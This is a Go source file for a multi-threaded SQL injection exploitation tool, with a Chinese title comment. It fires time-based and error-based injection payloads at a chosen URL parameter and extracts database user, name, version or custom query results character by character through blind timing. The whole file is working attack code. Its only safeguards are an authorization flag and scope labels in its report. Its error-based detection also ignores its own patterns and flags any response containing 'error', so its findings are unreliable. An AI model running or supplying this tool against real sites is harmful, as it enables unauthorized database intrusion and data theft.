// sqli-exploit.go - 高性能SQL注入利用工具 package main import ( "encoding/json" "flag" "fmt" "io" "net/http" "net/url" "os" "strings" "sync" "time" ) type SQLiExploit struct { Client *http.Client TargetURL string Method string Param string Threads int Timeout time.Duration Headers map[string]string Cookie string Quiet bool } type InjectionResult struct { Payload string VulnType string DBMS string ResponseLen int } var ( colorRed = "\033[91m" colorGreen = "\033[92m" colorYellow = "\033[93m" colorBlue = "\033[94m" colorCyan = "\033[96m" colorBold = "\033[1m" colorEnd = "\033[0m" ) func NewSQLiExploit(target, method, param string, threads int, timeout time.Duration) *SQLiExploit { return &SQLiExploit{ Client: &http.Client{ Timeout: timeout, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, }, TargetURL: target, Method: method, Param: param, Threads: threads, Timeout: timeout, Headers: map[string]string{}, } } func (s *SQLiExploit) SendRequest(payload string) (string, int, error) { var req *http.Request var err error targetURL := s.TargetURL if s.Method == "GET" { u, _ := url.Parse(targetURL) q := u.Query() q.Set(s.Param, payload) u.RawQuery = q.Encode() req, err = http.NewRequest("GET", u.String(), nil) } else { data := url.Values{} data.Set(s.Param, payload) req, err = http.NewRequest("POST", targetURL, strings.NewReader(data.Encode())) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") } if err != nil { return "", 0, err } req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") for k, v := range s.Headers { req.Header.Set(k, v) } if s.Cookie != "" { req.Header.Set("Cookie", s.Cookie) } resp, err := s.Client.Do(req) if err != nil { return "", 0, err } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) return string(body), len(body), nil } func (s *SQLiExploit) TestTimeBased(payloads []struct { Payload string DBMS string Delay time.Duration }) []InjectionResult { var results []InjectionResult var mu sync.Mutex var wg sync.WaitGroup sem := make(chan struct{}, s.Threads) for _, p := range payloads { wg.Add(1) go func(payload, dbms string, delay time.Duration) { defer wg.Done() sem <- struct{}{} defer func() { <-sem }() start := time.Now() _, respLen, err := s.SendRequest(payload) elapsed := time.Since(start) if err == nil && elapsed >= delay-500*time.Millisecond { mu.Lock() results = append(results, InjectionResult{ Payload: payload, VulnType: "Time-based Blind", DBMS: dbms, ResponseLen: respLen, }) mu.Unlock() if !s.Quiet { fmt.Printf("%s[VULN]%s [Time-based] %s - Delay: %v - DBMS: %s\n", colorRed+colorBold, colorEnd, payload, elapsed, dbms) } } }(p.Payload, p.DBMS, p.Delay) } wg.Wait() return results } func (s *SQLiExploit) TestErrorBased(payloads []struct { Payload string Type string }) []InjectionResult { var results []InjectionResult errorPatterns := map[string]string{ "MySQL": "SQL syntax.*MySQL|Warning.*mysql_|MySqlException", "PostgreSQL": "PostgreSQL.*ERROR|Warning.*pg_|pg_query", "MSSQL": "Microsoft SQL Server|ODBC SQL Server|SQLServer", "Oracle": "ORA-\\d{5}|Oracle.*Driver", "SQLite": "SQLite.*error|sqlite3.OperationalError", } for _, p := range payloads { body, respLen, err := s.SendRequest(p.Payload) if err != nil { continue } for dbms, pattern := range errorPatterns { if strings.Contains(body, "SQL") || strings.Contains(body, "error") || strings.Contains(body, "Error") || strings.Contains(body, "Warning") { results = append(results, InjectionResult{ Payload: p.Payload, VulnType: "Error-based", DBMS: dbms, ResponseLen: respLen, }) if !s.Quiet { fmt.Printf("%s[VULN]%s [Error-based] %s - DBMS: %s\n", colorRed+colorBold, colorEnd, p.Payload, dbms) } break } } } return results } func (s *SQLiExploit) ExtractData(query string, technique string, dbms string, maxLen int) string { var result strings.Builder charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-@." if !s.Quiet { fmt.Printf("\n%s[*]%s Extracting: %s\n", colorCyan, colorEnd, query) } for pos := 1; pos <= maxLen; pos++ { found := false for _, char := range charset { var payload string if technique == "time" { switch dbms { case "mysql": payload = fmt.Sprintf("1' AND IF(SUBSTRING((%s),%d,1)='%c',SLEEP(1),0)-- -", query, pos, char) case "mssql": payload = fmt.Sprintf("1'; IF SUBSTRING((%s),%d,1)='%c' WAITFOR DELAY '0:0:1'-- -", query, pos, char) case "postgresql": payload = fmt.Sprintf("1' AND CASE WHEN SUBSTRING((%s),%d,1)='%c' THEN pg_sleep(1) END-- -", query, pos, char) } start := time.Now() s.SendRequest(payload) elapsed := time.Since(start) if elapsed >= 900*time.Millisecond { result.WriteByte(byte(char)) found = true if !s.Quiet { fmt.Printf("\r%s[+]%s Extracted: %s", colorGreen, colorEnd, result.String()) } break } } } if !found { break } } fmt.Println() return result.String() } func parseHeaders(raw string) map[string]string { headers := map[string]string{} if raw == "" { return headers } for _, part := range strings.Split(raw, ",") { pair := strings.SplitN(part, ":", 2) if len(pair) != 2 { continue } headers[strings.TrimSpace(pair[0])] = strings.TrimSpace(pair[1]) } return headers } func main() { target := flag.String("u", "", "Target URL") method := flag.String("m", "GET", "HTTP Method (GET/POST)") param := flag.String("p", "id", "Parameter to inject") threads := flag.Int("t", 5, "Number of threads") timeout := flag.Duration("timeout", 10*time.Second, "Request timeout") technique := flag.String("technique", "time", "Injection technique (time/error/bool)") extract := flag.String("extract", "", "Data to extract (user/database/version)") query := flag.String("query", "", "Custom SQL query") dbms := flag.String("dbms", "mysql", "Database type (mysql/mssql/postgresql)") header := flag.String("header", "", "Extra headers in Name:Value,Name2:Value2 format") cookie := flag.String("cookie", "", "Cookie header value") format := flag.String("format", "text", "Output format: text or json") output := flag.String("output", "", "Write output to file") evidenceDir := flag.String("evidence-dir", "", "Optional evidence directory") runID := flag.String("run-id", "", "Associated run ID") caseID := flag.String("case-id", "", "Associated case ID") ackAuthorized := flag.Bool("ack-authorized", false, "Confirm the target is owned or authorized") flag.Parse() if *target == "" || !*ackAuthorized { fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd) flag.Usage() return } exploit := NewSQLiExploit(*target, *method, *param, *threads, *timeout) exploit.Headers = parseHeaders(*header) exploit.Cookie = *cookie exploit.Quiet = *format != "text" timePayloads := []struct { Payload string DBMS string Delay time.Duration }{ {"1' AND SLEEP(1)-- -", "MySQL", 1 * time.Second}, {"1' AND (SELECT SLEEP(1))-- -", "MySQL", 1 * time.Second}, {"1'; WAITFOR DELAY '0:0:1'-- -", "MSSQL", 1 * time.Second}, {"1' AND pg_sleep(1)-- -", "PostgreSQL", 1 * time.Second}, {"1' AND (SELECT dbms_pipe.receive_message('a',1) FROM dual)-- -", "Oracle", 1 * time.Second}, } errorPayloads := []struct { Payload string Type string }{ {"'", "Single Quote"}, {"\"", "Double Quote"}, {"' OR 1=1-- -", "OR Injection"}, {"' AND 1=1-- -", "AND Injection"}, {"' UNION SELECT NULL-- -", "UNION"}, } var allResults []InjectionResult timeResults := exploit.TestTimeBased(timePayloads) allResults = append(allResults, timeResults...) errorResults := exploit.TestErrorBased(errorPayloads) allResults = append(allResults, errorResults...) extractedResult := "" if *extract != "" || *query != "" { var extractQuery string switch *extract { case "user": switch *dbms { case "mysql": extractQuery = "SELECT user()" case "mssql": extractQuery = "SELECT SYSTEM_USER" case "postgresql": extractQuery = "SELECT current_user" } case "database": switch *dbms { case "mysql": extractQuery = "SELECT database()" case "mssql": extractQuery = "SELECT DB_NAME()" case "postgresql": extractQuery = "SELECT current_database()" } case "version": switch *dbms { case "mysql": extractQuery = "SELECT version()" case "mssql": extractQuery = "SELECT @@version" case "postgresql": extractQuery = "SELECT version()" } default: extractQuery = *query } if extractQuery != "" { extractedResult = exploit.ExtractData(extractQuery, *technique, *dbms, 100) } } report := map[string]interface{}{ "tool": "sqli-exploit-go", "mode": *technique + "-probe-and-extract", "target": *target, "status": "needs-review", "severity": "info", "timestamp": time.Now().UTC().Format(time.RFC3339), "request_summary": map[string]interface{}{"method": *method, "param": *param, "threads": *threads, "dbms": *dbms}, "payload_or_probe": map[string]interface{}{"hits": allResults, "extract": *extract, "query": *query, "result": extractedResult}, "evidence_refs": []string{}, "minimal_validation": "只读探测、最小化注入、可审计回显、可回滚验证。", "authorization_scope": "lab-local, lab-public, authorized-third-party", "destructive_risk": "medium", "run_id": *runID, "case_id": *caseID, } if len(allResults) > 0 || extractedResult != "" { report["status"] = "verified" report["severity"] = "high" } if *evidenceDir != "" { _ = os.MkdirAll(*evidenceDir, 0o755) evidencePath := *evidenceDir + "/sqli-exploit-go.json" if raw, err := json.MarshalIndent(report, "", " "); err == nil { _ = os.WriteFile(evidencePath, append(raw, '\n'), 0o644) report["evidence_refs"] = append(report["evidence_refs"].([]string), evidencePath) } } var content []byte if *format == "json" { content, _ = json.MarshalIndent(report, "", " ") } else { lines := []string{ strings.Repeat("=", 60), "SQL Injection Exploit Tool (Go)", strings.Repeat("=", 60), "Target: " + *target, "Technique: " + *technique, fmt.Sprintf("Hits: %d", len(allResults)), "Status: " + report["status"].(string), } content = []byte(strings.Join(lines, "\n")) } if *output != "" { _ = os.WriteFile(*output, append(content, '\n'), 0o644) } fmt.Println(string(content)) }